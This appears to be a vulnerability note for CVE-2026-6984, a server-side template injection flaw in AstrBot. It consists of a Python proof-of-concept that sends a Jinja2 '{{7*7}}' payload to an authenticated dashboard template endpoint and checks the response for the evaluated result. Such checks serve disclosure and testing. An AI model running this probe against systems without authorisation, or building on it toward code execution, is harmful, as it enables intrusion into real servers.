CVE-2026-6984 AstrBot服务器端模板注入漏洞

import requests # Target URL endpoint for the vulnerable function target_url = "http://target-ip:port/api/dashboard/t2i/create_template" # SSTI Payload to test (Jinja2 syntax) # Checks if the multiplication 7*7 is evaluated to 49 payload = "{{7*7}}" # Headers simulating a high-privilege authenticated session headers = { "Authorization": "Bearer <admin_access_token>", "Content-Type": "application/json" } # JSON data payload sent in the POST request data = { "template_name": "malicious_test", "template_content": payload # The vulnerable field } try: # Send the malicious request response = requests.post(target_url, json=data, headers=headers, timeout=10) # Check if the payload was executed (49 indicates SSTI) if "49" in response.text: print("[+] Vulnerability Confirmed: The server evaluated the template expression.") else: print("[-] Not Vulnerable or Patched.") except Exception as e: print(f"[!] Request failed: {e}")